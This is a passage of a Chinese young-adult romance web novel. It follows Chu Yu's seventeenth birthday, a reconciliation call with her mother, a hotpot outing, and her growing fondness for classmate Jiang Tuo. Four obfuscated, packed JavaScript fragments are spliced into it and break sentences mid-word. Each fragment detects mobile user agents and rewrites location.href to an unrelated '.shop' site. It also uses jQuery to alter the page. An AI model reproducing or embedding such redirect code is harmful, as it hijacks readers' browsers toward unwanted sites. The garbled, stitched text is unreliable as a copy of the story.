但也仅限于明白，她很多时候不知道该怎么去判断分辨，要到哪一步，才算是超脱友爱，算是喜欢。 不过现在这种情形她还是能明白的。 她拿着班长的笔记，觉得有些烫手。 还是想个办法还给他吧。 初屿戳了戳齐明的背，他转过头来，初屿其实有点不相信齐明会做笔记，但还是问一下：“齐明，那个，你有笔记本吗？” 齐明的表情得意到好像她在问他有没有一百万，高声道：“ofcourse！” 他献宝似地去翻他的桌子。 初屿沉默地他费力地抽出一沓书摆到地上，在课桌里翻找了起来，神情复杂地提醒道：“要数学的。” 齐明噼里啪啦地翻了好一会，递给她一个不厚的笔记本。 初屿惊奇他真有，拿来翻了一下，觉得也还行，字勉强能认，排版有些随意，但解题思路挺简单的。 初屿：“我借你笔记看看。” 齐明不在意地点头，又问：“你不是拿了班长的笔记吗？” 初屿不擅长处理别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177114|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的喜欢，唯一措施就是和对方迅速地拉开距离。她等会打算把笔记还给班长，而且已经找到了借口，因为齐明就坐她前面，笔记还借都要方便一些。 她也这样说：“拿你的方便一点，你上课要记笔记我就还你。” 江妥撑着头，漫不经心地听他俩说话，听到这，很轻地啧了一声。 有点难搞啊。 - 早自习下课初屿就把笔记还给了班长。 上午的课很快过去，到了中午，她和袁诗琪说了声今天也不在食堂吃，就准备回家。 路上云温枫给她打了个电话。 初屿接到的时候，还有点高兴，大概是因为她从小就很缺母爱，云温枫给她的爱实在不多，多上一点她就很开心了。 她心里总是在期待云温枫的爱，也经常在心里为她的工作忙找借口。 可云温枫只叮嘱了几分钟她的学业，交代了一句要听话照顾外婆就挂了电话。 一句也没提她的生日，很显然，她又忘了她的生日，今天打电话来，只是刚好有空凑巧而已。 初屿默了默，把手机收回兜里，继续往家里走。到了小巷口，她干脆跑起来，越跑越快，连风都甩到脑后。 她猛地推开院门，三角梅窸窸窣窣地响，落下一两片花瓣。 今天天气好，外婆把饭菜摆在了院子里，一桌子的菜，冒着热气。玉米排骨汤，红烧鱼，土豆烧排骨，盐焗虾，清炒小白菜，还买了一瓶呲呲冒泡的雪碧。 因为初屿喜欢隔壁阿婆院子里的花，外婆也学着栽了几株，这些年越种越多，半个院子都是绿意盈然的，桌子旁的地上开了一大片白色的忍冬。 外婆正在往杯子里倒雪碧，看到她，笑着数落道：“你这丫头，能不能有点姑娘样，我在院子里就听见你在巷子里哒哒哒地跑，不知道的还以后我家出了个饿死鬼。” 初屿呆在原地喘气儿。 看了看外婆，又看了看外婆旁边正在垂眸盛饭的少年，狐狸眼缓慢地眨了眨，有点迷茫。 江妥拿着饭勺，晃了晃，问她：“你吃多少？” 初屿回过神来，知道人大概是自己外婆喊来的，连忙过去接过他手里的饭勺，“啊，我自己盛。” 云香娥看了看，问道：“你们认识啊？” 初屿低头盛饭，解释道：“我们一个班的。” 云香娥不知道这种事很正常，她其实对初屿的学习不太管，从来不问她的成绩。干什么事也随初屿自己，别说知道他们在不在一个班的，她连初屿在哪个班都不知道，甚至她读几年级了都得先按年龄推算一下。 云香娥乐道：“怎么巧啊，那小妥，你以后中午要有时间就常跟我们抱抱回来吃饭。” 江妥点头，眉眼带着笑。 初屿盛好饭，坐到饭桌上，不由自主地多看了江妥几眼。 怎么江妥好像见到她出现在这，一点都不奇怪呢。 好像是一早就知道她住在这，早就知道她会来似的。 那是不是说明，他记得小时候的事，早就记起她了。 那应该不会很愉快才对。 初屿偷偷看了他一眼。 觉得他这人越看越阴险，该不会他自个心里默默记着仇，就等着怎么背后给她一刀吧。 初屿打了个寒战。 默默地挪远点。 11. 十七岁 云香娥的手艺很好，每一个菜都是初屿爱吃的，费心烹饪，色香味俱全，初屿左一筷子右一筷子吃得相当开心。 由于云香娥一直不停地给江妥夹菜，他吃到后面属于是一看到云香娥的筷子抬起来就条件反射地想后撤，全程都在目不转睛地提防着。 初屿瞥了他一眼，见他好不容易慢腾腾地把碗里高高堆起的排骨吃完了，又坏心眼地给他夹了两块。 她学外婆的语气讲话：“小妥，你看你瘦的，多吃点！” 江妥一口气提不上来，他冷笑着直点头，伸手就给初屿夹了两块她压根没碰过的五花肉，放到初屿碗里，“谢谢，你也吃，初胖胖。” “你耳背啊，我叫初抱抱！” 云香娥在一旁笑的不行，江妥倒是一脸疑惑，问道：“刚云奶奶不是喊你胖胖吗？” “我哪里胖？！” 初屿看着碗里的五花肉，也不和他讲客套了，她嫌弃地咦了一声，把五花肉丢回他碗里，然后护崽似地护住自己的碗跳远，“我不要！” 江妥看着自己碗里又多了的两块五花肉陷入沉思。 他无奈地拿起筷子，面不改色地把这两块他也不会碰的五花肉咽了。 一边咽一边在心里想，明明知道拿她没办法，何必要自作自受。 快吃完的时候，傅迟南在他们三个人的群里发消息说今天晚自习下课请她们去临街新开的火锅店吃火锅。 初屿和薛颜都超喜欢吃火锅，傅迟南的消息一出来，初屿和薛颜就立马跟着在下面一路的狂刷傅老板大气。 云香娥见她捧着手机乐，取笑道：“好嘛，刚才还说外婆的菜最好吃，现在菜还没吃完呢，就惦记着要去吃火锅了。” 初屿不好意思地抿了抿唇。 她吃完了，就去催江妥：“走啦走啦。” 江妥慢条斯理地擦了擦嘴，又喝口水，起身向云香娥礼貌道谢。 两人推开院门往学校走，在路上，初屿接了通电话，是时立坤打来的。 初屿其实还挺喜欢这个继父的，他年纪比云温枫大上十来岁，妻子早年过世，再遇到云温枫之前一直没再娶。 因为时立坤工作的原因，初屿和他在宜城相处并不多，他对时朗严格，但对初屿很好。 这次打来竟然是祝她生日快乐的，还说他和云温枫一起提前挑了礼物寄给她，现在已经到了。 “是你妈妈上次错过了你的生日，这次特意叮嘱我提醒她的。她的性格你知道，是个工作狂，性格又差，不是很善言辞……” 他说到这，停顿了一下，话筒里传来的声音嘈杂了一阵，又听见他压低声音道：“你先等我说完。” “我遇到她之前，她自己都把日子过的一团糟，浑浑噩噩的，自己也从没有给自己过过生日……” “她其实一直觉得你很乖，成绩不用她多说，忽略了你你也不会说。所以她才一直没有意识到你们之间的问题，但她现在已经知道了，在改了，工作重心也在慢慢转移……” “初屿，你妈妈想和你通电话可以吗？” 初屿忍着鼻头的酸意，轻嗯了一声。 她通电话的时候喊了声叔叔，江妥大概觉得是她家里的事，就自顾自地走在前面，始终和她之间保持着一段不小的距离，并不太能听见她这边的动静。 他总是一副混不吝的模样，却是个挺绅士的人。 话筒里窸窸窣窣的，过了几秒，云温枫的声音响起，还显得生硬，“初屿，生日快乐。” 丈夫很早去世，女儿一满月就为了事业出去打拼，她的大概日子也不好过。所以总是一副强硬的模样，好像天生如此，却不知道对待自己女儿要什么态度。 她错过太多，等再回头的时候，女儿已经不是那个眼巴巴的巷口盼着她回来的小孩了。 云温枫不知道怎么像别的母亲一样和女儿说些亲昵的体己话，好像除了叮嘱学业之外，不知道该说些什么了，偏偏初屿已经把学业做的很好。 她停顿了一会，继续说：“初屿，很抱歉我不是一个合格的母亲……你想在外婆身边就待在外婆身旁，等妈妈忙完手头上的事，就和时叔叔一起过来看你，可以吗？” 初屿轻眨了眨眼，仰头看天，阳光穿过重叠的樟树叶，细碎地落在脸上，她眼尾泛着光。初屿忍住哭腔，很重地嗯了一声，“那你别又骗人，我会不高兴，我真的会不高兴……” 电话里沉默了一会，云温枫才出声：“好，妈妈答应你。” 电话打完，初屿连忙用袖子擦眼泪，结果越擦越多，越擦越多。 再一抬眼，江妥已经站到她面前，他斜插着兜，无论何时看上去都是一副漫不经心的模样，长身鹤立，遮住她眼前一半的光，伸手递了张纸巾给她。 脸却别开，侧颜清隽，下颌线分明利落，眼眸瞥着别处，没有看她。 初屿还是觉得有些丢人，接过纸巾捂着脸，嗓音因为哭过带着很重的鼻音，她带着哭腔控诉：“你不是没在听嘛！” 江妥眼睫轻颤了一下，有些无措，回过头来小心翼翼地端详她的情绪，他没听，但他又没瞎，一转过来人都哭都不成样子了。 他看了一会，意识到她不是被欺负了，才说道：“你别哭了……谁过生日还哭的，别哭了，丑死了。” 初屿一下被他气着了，停了哭声，拍开他的手，“你才丑，走开啊。” 江妥轻扯了下唇，模样很不屑，嗓音傲慢，“老子是校草。” 初屿：“…………………………” 回学校的路上栽满了香樟树，午后的阳光透过枝繁叶茂的香樟撒下来，落到初屿的白裙子上，又落到一旁少年宽薄的肩上。 晕出明媚张扬的光圈。 江妥的校服外套脱了闲闲地拎在手上，他眉眼清隽俊朗，气质清冷，偏偏走路总有股拽劲儿，配上他那张不可一世的淡漠脸，格外的惹人注目。 好像他这样的人，无论在那都该是个风云人物。 进了校门后，落到他身上的目光越来越多，有很多女生偷看她，也有胆大地会拿着手机在教学楼上偷偷拍照。 他浑然不在意，像是已经习惯众星捧月。 初屿才发现，这个在班上她认为有些幼稚的男生，确实很耀眼。在很多女孩的青春里，大概如月亮，是藏在心底的，可望不可及的存在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177115|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >初屿不着痕迹地挪远点，让人看着不觉得他们是同行。 江妥察觉到了，有些不高兴，轻皱了下眉，不满道：“初抱抱，你走那么远干嘛？” 初屿闻言又投不斜视地挪远，她抬头看了眼高一楼上各层虎视眈眈的学妹，同时警告道：“你别过来了，江校草，我可不想成为全校女生的公敌。” 江妥扯了扯唇，嗤笑一声，“有病吧，少看点这种电视剧。” 初屿可不想和他在众目睽睽下斗嘴吵架，不再理他，小跑着跑远走了。 - 初屿刚在校门口的传达室里拿到了从宜城寄来的包裹。 一个不大的纸盒包装，初屿回到教室，拿了个小工具刀拆包裹，这时候还没上课，齐明好奇地转过来，手臂搭在她课桌沿，百般无赖地看她在拆什么。 初屿拆开，从一里面掏出一个长方体的盒子。 一拿出来，齐明看到盒子上的logo，惊道：“卧槽你们都啥家庭啊？！！” 是那部和江妥一样的手机。 不过是白色。 初屿愣了下，连忙收起来，一中严格规定了不能带手机，虽然大家还是带，但都没有像江妥那样明目张胆地玩，都是关了机偷偷地藏在书包里的。 其实她搞不懂为什么妈妈和时叔叔要送她一部这么贵的手机，云温枫一向要她以学业为重，也许是看她之前的手机太破了。 齐明嘶了半天，又感叹道：“我上次说我也要换这部，我妈说等我考了全校第一就给立马给我换。” 他被嫉妒冲昏了头脑，伸手肘了下一旁的江妥，“要不妥哥你转个学吧。” 江妥压根就不想搭理他，头都没抬地在课桌底下玩游戏。 齐明自讨没趣，见初屿也低头在偷偷开机换卡试手机，于是把自己的手机摸出来，“对了初屿，我还没存你号码，还有你Q/Q多少，我拉你进咱班群。” 初屿报了两串号码，又问了齐明的，等存好了她又去戳江妥。 江妥垂眸划掉正在打的游戏页面，把手机递给她，让她自己存手机号码，自己加好友。 初屿接过他的手机。 他这人很不谨慎，连密码都没有，初屿存手机联系人的时候，先跳出来的是一排通话记录，一半的通话记录都是和一个备注为安欣的人。 点进联系人，他备注的联系人很少，按字母顺序排，第一个联系人也是安欣。 初屿存好自己的手机号码。 点进Q/Q，加自己的好友的时候，又看到他聊天框里有个备注欣欣的人，消息框上有两个小红点，是刚发的。 初屿加完好友，退出去。 此时这个欣欣正好又发来Q/Q信息，信息弹出来，【那你说好陪我去的哦^^不准迟到。】 初屿觉得自己好像无意间窥探到了他的秘密，她手颤了下，迅速地退出来。 再假装若无其事地还给他。 江妥没察觉，他接回手机，又上滑点进之前的那个游戏页面，游戏已经结束，界面弹出失败这两个字。 江妥退出游戏，点进Q/Q，回了安欣的消息。 【好好好。】 12. 十七岁 上课的时间总是很容易过，一转眼下午的课就上完了。 初屿因为记着晚自习下课要去吃火锅，晚餐就没去食堂吃，坐在座位上一边啃饼干一边刷题。 一班的进度本来就快，偏偏她还落了很多，下一次月考一天天地在逼近，初屿决定以后晚饭也不去食堂吃了，买点面包零食当晚餐，可以省些时间出来刷题。 到晚自习下课，初屿又留下来写了会题才掐着点下去，正好赶上傅迟南和薛颜下课，他们一块儿下楼。 傅迟南一个人独自冷着脸大步走在前面，身后薛颜和她朋友有说有笑的。 三人集合后一起打车去城南广场吃火锅。 打酱碟的时候，初屿察觉不对，悄眯眯地在一旁问薛颜：“他怎么了？脸拉得个条驴似的，你惹他了？” 从学校到火锅店，傅迟南都冷着一张脸不说话，好像谁欠她八百万似的。对初屿倒还好，大概见今天是她生日。尤其是对薛颜，总感觉他憋着一股火气，给他一点火星他就可以当场爆了。 薛颜正在一个劲地在往自己的碟里倒醋，对此浑然不觉，“有吗？谁知道，反正不是我，我今天都没见过他。 初屿默了默。 觉得这姐们心也太大了。 打完酱碟回来，是对排的桌子，初屿当机立断地坐到傅迟南那排，然后使劲地挪，挪得离他远点。 薛颜过来坐下，问初屿：“你怎么不和我坐一排？” 初屿系好店里围裙，警惕道：“我怕你把油溅我白裙子上。” 薛颜：“……………………” 其实还有一个很重要的原因，但是她不好讲，只好在心里狠狠吐槽。 姐姐，傅迟南这样要杀人一样地盯着你，也就你还吃得下，和你坐一排，我怕我消化不良。 初屿默默地捞肥牛卷吃，心想薛颜肯定又是干了什么了不得的事，才能把傅迟南气成这副样子。肥牛卷都好了，他也不伸筷子，在那一个劲地喝清火茶。 这个桌子上，又少了一个和她抢肉的人，真好。 尽管傅迟南心情摆在脸上，非常的不佳，但这顿火锅薛颜和初屿吃得很开心。 他们一直吃到火锅店快打烊了才吃完，吃完时间已经很晚了，广场里的商场也关了一大半，稀稀落落地亮着灯。 夜色暗沉，不见星子，冷风一阵一阵席卷地刮，一出火锅店的风初屿就感觉自己要被这邪风给吹倒了。 他们在冷风中蜷缩着等了好一会，才等到出租车回小巷，车进不了巷子，在巷口停下。 薛颜家在前面，等她回了家，初屿和傅迟南继续往小巷里走。 夜里的小巷路灯昏暗，穿堂风吹起初屿的白裙子，纯白的布料绕着她纤细的脚踝到白嫩的小腿，肆意翻飞。 傅迟南面无表情地把手机按开，熟练地打开手电筒，然后垂着，照亮初屿脚下的路。 初屿瞥了他一眼，很怕他憋着憋着就把自己气死了，看在他今天请她吃火锅的份上，初屿决定冒着被他冷死的风险开导开导他。 于是一路给他巴拉巴拉讲笑话，可惜傅迟南很不给脸，表情一直在皮笑肉不笑和冷笑两者之间交换。 他们快走到初屿家的时候，前方有个穿一身黑的男生。 他立在前方的檐灯下，穿着黑色的连帽卫衣，黑色鸭舌帽低低压着，手里闲闲地拎了罐可乐。 锋利分明的下颌线露出鸭舌帽下沿的阴影，在夜色的渲染下，衬着他整个人有些病态的白，下颌下方那颗的小痣就越发得明显。 大概察觉到有人在看他，他侧首，微抬了下下巴，冷冽的眉眼从帽沿下露出来，他长得高，就颇有些居高临下地瞥了他们一眼。 初屿刚才还在努力地逗傅迟南开心。 叽叽喳喳活像只麻雀，不停地绕着身边的男生转。 好像那是她整个世界似的。 江妥轻笑一声，垂下眼，眼底的情绪就被帽沿盖住，藏进无人得知的黑暗里。 初屿看不清前方人的脸，但是他的身形太过优越，长身鹤立，宽肩窄腰，很难认不出。 这还是第一次在巷子里偶遇他，她欢快地跑近：“江妥！这么晚了你怎么在外面？” 她跑过去，脚下没看清，还绊了一下，差点摔了。 江妥倚在墙上的身子下意识地站直往前走了两步，伸手想要去扶她，见初屿自己站稳了，又若无其事地把手飞快地收回去。 江妥垂眸看了她两眼，黑眸淡漠，也不和他俩打招呼，当没看到似的，抬脚就进了自家的院子，还把铁门甩得砰砰响。 初屿觉得自己回去了一定要好好查一查。 看看今天是不是世界男孩儿不高兴日。 真是太离谱了。 - 好在回到房间洗了澡，江妥给她发了条，大概，勉强，也算是条解释道歉的消息吧。 他说：【刚没看到你。】 初屿：【…………………………】 他自己倒是不觉得这理由离谱，像是没看到初屿这一排表示无语的省略号似的，继续发：【明早一块走？】 初屿：【…………………………】 江妥又发：【爷请你吃早餐。】 初屿一边吹头发一边吐槽，谁稀罕，她又不是吃不起。 她把头发吹到不滴水，关掉吹风机，坐到书桌前，把台灯按开，准备再刷会题，正好等头发全干了再睡。 也不知道这少爷是什么毛病，见人不搭理他，就哗啦啦地，一个劲地在聊天框里刷屏。 【？】 【？】 【？】 【？】 【？】 【？】 【？】 【……………………】 手机一直在连续不停歇地震动，初屿被他烦得要命，她放下笔，打字，【我请你吃早餐，你能别发疯了吗？】 对方还没反应过来，又刷了几个问号。 然后才发：【几点？】 初屿快要被气笑了，她无语地仰头望了会天，顺了好一会气，才做到心平气和面带微笑地打字，【六点怎么样？江少爷。】 对面好像很勉强，这种勉强他生怕初屿无法切身体会，还特意发了条语音，他嗓音带着点慵懒的哑，又拖着散漫的调，“行吧。” 听上去好像是初屿上赶着求他似的。 既然你诚心诚意地邀请了，那我就大发慈悲地答应你。 深呼吸。 不要生气。 生气伤身体。 初屿抿着唇，按熄屏幕，把手机丢到床上，然后开始刷题，写了两分钟，她放下笔。 骂出声，“有病吧这个人！” - 初屿第二天起来，一边洗漱一边闭着眼背单词，踩着六点钟出了院门。 昨天学校终于给她发校服了，下午傅国沪回小巷的时候顺手直接带回了初屿家，云香娥洗了放她房间阳台上晾好，今早上正好干了。 初屿穿上校服，扎了个高马尾，背上书包出了门。 十月还有蝉鸣，晨间间或着一两清脆的鸟叫，欢快的像一首童谣。 江妥倚在自家院门口，低头在看手机。走近了，才发现他也在背单词。他嗓音低淡，带着点磁性，发音很好听，像情人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177116|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低语。 初屿有点声控，对嗓音好听的男生没有抵抗力。她没了脾气，走过去，拽着他的衣袖：“走了，两个豆包，多了不请。” 江妥不满地啧了声，也没有拽回自己的袖子，就这么没面子地任凭初屿拽着他走，衣领都拽歪了，卡着他脖子，他默不作声地伸手把拉链往下拉了点。 他轻轻地嘀咕了一声，“那我请你好了，我随便你吃。” 初屿回头瞪了他一眼，他大抵知道昨天自己乱发脾气是理亏的，利落地抬手在嘴前做了个拉拉链闭嘴的手势，然后没再说话。 他果然只要了两个豆包，只是走到对街的时候，又自个掏钱买了屉蒸饺，经过便利店时又进去拿了两盒热牛奶，出来扬手丢给初屿一盒。 初屿没和他客气，插上吸管，慢吞吞地喝。 进校门的时候碰到了齐明，三个人回了教室。早自习，初屿快速地背完单词，读了会课文，又继续刷题。 下午数学课下课的时候，王德发下来一张位置表，让大家按照第一次月考的成绩依次重新选位置。 位置表首先从前排递到了江妥桌子上。 他一副没睡醒的模样，抬笔在原座位上写了个名，座位表又往前递。 班上有同学喊住端着菊花茶准备离开的王德，“老师，那初屿呢，她第一次月考没成绩啊？” 王德才反应过来。 他看向后排的初屿，淮城一中班级按淘汰制度，一班不是没来过新同学，像齐明就是从楼下的班级升上来的，也是按考试的成绩来排。 没有成绩的转校生的话，袁诗琪算是唯一一个，是高一下学期转来的。 不过那时她坐了几天后排，就说自己视力不好看不清，要求坐到前面一点。 虽然是让同学们自己选位置，但是最后王德都会进行考量调整，比如两个凑到一起喜欢说话的人会调开，所以那时袁诗琪和他提了之后，他也适当地调整了一下。 初屿之前在宜城的成绩他看了，是个很不错的学生，这座位，确实对她不太公平。 况且这孩子还平白无故地落了一个月的进度，坐到前面来比较好。 他抿了一口菊花茶，犹豫了一会应该把初屿安排到哪里比较好。 就看见初屿举起手，嗓音清凌凌的：“老师，我就坐这，我视力好。” 齐明高兴地转过来，一脸感动：“太好了初姐，你是不是舍不得我，你放心，我也不动，还坐你前边。” 初屿真的视力很好，也是真的觉得他有病：“……………………其实你动也没关系的，真的。” - 天气一天天变凉，高中的日子总是过的很快，接近第二次月考，初屿慢慢地把进度赶上来的时候，篮球赛和运动会要举办了。 运动会的某些项目的报名总是会让体育委员为难的。 比如女子1500米。 初屿因为坐在体委后面，深受他的折磨。 齐明晃她的桌子，求她道：“初屿，初姐，你就上吧，你不中考体育成绩满分吗？俗话说的好，你不入地狱谁入地狱。” 这俗话真的适合用来劝人吗？ 初屿默默地往后挪桌子。 要了老命了。 那可是1500米啊。 谁没事跑个1500玩儿啊。 齐明继续劝，“这个项目咱班上得出一个人啊。初姐没关系啊，男子和篮球比赛我们去年就是一，咱学习成绩也第一，这第一咱拿腻了。你只要肯上，上去走都行，名次不重要……” 初屿耳根子软，最怕被磨，被说过两回后，一脸麻木地填了报名表。 13. 十七岁 远动会和篮球场都紧随在第二次月考之后。初屿现在的注意力全放在考试上，报名表一填，又开始垂下头刷题。 第二次月考前三天的时候，班上搞了个模拟考，据说这是一班的传统。 因为一班的进度本来就远远领先于其他班，月考是全校统一的卷子，而模拟考是一班自己的任课老师出题，是专门针对一班进度出的卷子。 由于时间紧张，也是自己班里考试，就没有向月考一样一考考两天，而是一天就连着把所有的科目全考完。 早自习考完英语。 上午考完理综和数学。 晚自习还要上一节课，剩下两节晚自习课考语文。 时间不够用就占用下课时间，因此晚上下课的时候，他们班延迟了快二十五分钟才下课。 因为是自己班老师监考，还不能提前交卷。 初屿写语文试卷一向很快，她写完作文，正式的下课铃都还没打，离考试结束还有足足45分钟。 她百般无赖地转笔。 班上的位置就没变，她无意间抬头，看见前面的齐明在奋笔疾书，而他的同桌，江大校草正趴在桌子上睡得不省人事。 也是，这少爷矜贵，平时就要睡够九个小时的。 这一整天不停歇地考下来，他每门都是早早地就写完撂笔睡觉，能坚持到到最后一堂已经很了不起了。 不过这次初屿有些惊讶。 毕竟前桌的齐明刚刚才翻到作文那页，正咬着笔在磨作文开头，她自认为自己已经够快，没想到遇到了对手。 初屿闲来无聊，又翻来覆去检查了几遍。终于等到下课，下课铃滴滴答答地响起，初屿清晰地听到楼下轰隆一片的脚步声和桌椅拖动声，然后是整栋楼的躁动。 不知道是刺耳的下课铃还是楼下放学的动静吵醒了他。 江妥搭在脖颈处的手无意识蜷了一下，然后他面无表情地抬起头，背直起来一秒，又没骨头地往后靠在椅子上。 因为他背靠在椅子上，面前的答题卡失去遮挡，刺目的一大片白出现在初屿的视线里。 ！！！ 初屿不自觉地身体前倾，看了眼。 好家伙。 还是空的前两页。 看来这少爷不是写完了才睡的，而是从开始发卷睡到现在。 他睡得额前凌乱，模样有些懵，缓慢地动了两下肩，才机械地摸起笔。 盯着空白的答题卡看了两秒，他垂眸，淡定地写了个名字。然后搁下笔，弯腰在桌子下找了一会，把不知道什么掉到地上的试卷捡起来。 然后他慢条斯理地弹了弹试卷上的灰，对着试卷，撑着头，不紧不慢地填起答题卡来。 初屿看得是一个目瞪口呆。 马上要交卷的时候，江妥才写到诗词默写，齐明一回头都惊了，他热情地把卷子递给他抄。 齐明看上去比江妥本来还有着急，颇有点皇上不急太监急地催促道：“抄啊，妥哥，抄啊。” 江妥已经放下笔，还是一副没睡醒的散漫模样，正低垂着头，在等手机开机，闻言眼都没抬，指尖无情地将齐明卷子推了回去，语气难掩嫌弃：“我抄你的和空着有区别？” 齐明：“…………………………” - 交卷的时候，初屿低头收拾书包。 齐明回头，瞥到教室外，他问初屿：“那不傅哥吗？等你的？” 初屿探身看向教室外，果然看到傅迟南站在走廊外面。 她们延迟了二十五分钟下课，但是初屿被这鬼考试考晕了头，忘记提前说了。 傅迟南和薛颜下课后在下面等了她一会没见她人，见七楼的灯还亮着，薛颜懒得爬七楼，指挥傅迟南上来看。 傅迟南见他们已经下课，慢悠悠地走进来，立到初屿的桌上旁，催她：“快点儿。” 初屿正垂头在抽屉里找一个准备带回去看的笔记本，回道：“好了，马上，别催。” 傅迟南就立在一旁和前面的齐明有一搭没一搭地聊天。 齐明：“傅哥，你和我初姐是青梅竹马啊？” 傅迟南：“…………不是，就一个巷子的。” 齐明：“那不就是，啧，我怎么就没有一个青梅竹马……” 初屿突然用笔戳了一下齐明的背，打断了他的话，她语气严肃：“在你那吧？” 齐明嘶了一声，“什么？” 初屿鼓着脸，嗓音凶巴巴：“烦死了我说怎么找不到，我的笔记本！” 齐明想起了，下午考理综的时候他借了初屿的笔记本临时抱佛脚，忘还给她了。他眼看着初屿在那找笔记本找的逐渐暴躁，有些心虚地摸了下脖子，立马说：“我马上找马上找。” 傅迟南无奈地摇了摇头，拍了拍齐明的肩，一边往外走对初屿说：“我在外面等你啊。” 正巧袁诗琪下来收江妥这组的答题卡。 她站在江妥桌上旁，问初屿，“初屿，刚才那个男生是谁呀？是你男朋友吗？他对你好好，还特意接你下课。” 她声音不小，班上有人本来就好奇，此时都看过来。 袁诗琪说完，垂眸，装作不经意的样子，看向江妥。 江妥低着头，一只手搁在桌面上，一只手在桌子底下摆弄手机，闻言划手机的手顿了顿，有些烦躁地瞭了下眼皮。 黑眸里的不爽情绪不加掩饰地流露出来。 初屿接过齐明递过来的笔记，放进书包里，快速拉上书包拉链，闻言愣了一下，立马解释道：“不是啊，我们就是一起走而已。” 又继续补充道：“我们是指三个人，还有一个女生的，她在楼下等。” 齐明在一旁插嘴：“这个我早就问过了，人就是单纯的青梅竹马。” 初屿抬手锤他，无语道：“说了不是！我们是三个人一起长大的。” 她收好书包站起来，看见江妥还在那吊儿郎当地在晃椅子，纳闷道：“江妥，你不走吗？” 江妥有些意外地侧首。 初屿拎着书包，继续问：“你还要刷会题吗？但是现在已经不早了欸？” 江妥愣了一秒，才出声：“不刷了。” 初屿不知道他到底在磨磨蹭蹭些什么，本来就考到很晚，回去都没时间刷题，她还想准备过两天的月考呢，毕竟淘汰制参考的是月考成绩。 于是有些急，喊道：“那走啊！” “噢，”江妥轻垂下眼，细碎的眼影落至眼底，他唇角难以察觉地弯了弯。 “诗琪，那我们先走了，明天见！” 初屿朝袁诗琪摆了摆手就往教室外走。 而那个桀骜到不可一世的少年，听话胡乱拿上两本练习册就站起身，跟在那个才来新来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177117|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的转学生身后出了教室。 侧身经过她时，甚至连一个眼神都没撂。 袁诗琪捏紧了手里的答题卡。 - 因为下课下的晚，楼道里没几个人。 江妥和傅迟南本来就认识，就住在一个巷子里，加上齐明的关系，两人偶尔在一起打过球，男生之间的关系简单，很快就聊了起来。 齐明也和他们一块儿下楼，他们三走在前面，聊的大概是游戏，初屿听不懂，一个人跟在后面。 四楼楼道里的灯今天不知道怎么坏了。 一旁的教室里也关了灯，只借着上下楼投射的光，这一截楼道变得有些昏暗，但也不至于会看不清。 前面齐明正和傅迟南说的起劲，期间江妥时不时搭上一两句话。 走到四楼的时候，江妥停了下，垂眸从兜里掏出手机，这动作让他落后几步。 随之他很自然地按开了手电筒，然后指尖点进消灭星星的界面，一边单手玩着游戏，一边慢悠悠地和初屿并肩往下走。 手机手电筒的光笼罩着脚下的路。 初屿踩着他制造出的光一步一步地走。 她有些意外地抬眸。 他侧颜清隽，下颌线利落分明，手机屏幕的白光映在他脸上，显得他眉眼越发的清冷，校服外套闲闲地搭在肩前，走路很拽，又处处透着散漫的少年感。 他修长的手漫不经心地划了两下，一排星星就在他指尖绽裂。 江妥轻扯了下唇，垂眸看着手机，闲闲地开口，嗓音低淡，提醒她，“别看我啊，看路。” 初屿眼睫颤了颤，立马低下头。 恍惚间，她觉得自己的心尖也被那双手漫不经心地划了一下，然后开始在心里噼里啪啦地放烟火，一个接着一个地绽裂。 她忍不住在心里乱叫。 别的不说，但江大校草真的有点帅欸！！！！！！！！ - 薛颜蹲在楼下玩手机，这会听到声音一抬头，见到一起下来的江妥，她眼睛一亮嗖地一下站起来，又飞快瞥了傅迟南一眼，然后拉住初屿的胳臂，低声问：“他要和我们一起走吗？” 初屿点头。 就住在一块一起下课难道还分开走吗？ 薛颜激动地掐了她一把，初屿忍着痛抽出手臂，低声道：“我警告你正常点，别给我丢人。” 回到家，初屿洗了澡坐到书桌前刷题。 不知道看到多久，直到手机震动，初屿才瞥了眼时间，三点了。 是Q/Q发来的消息。 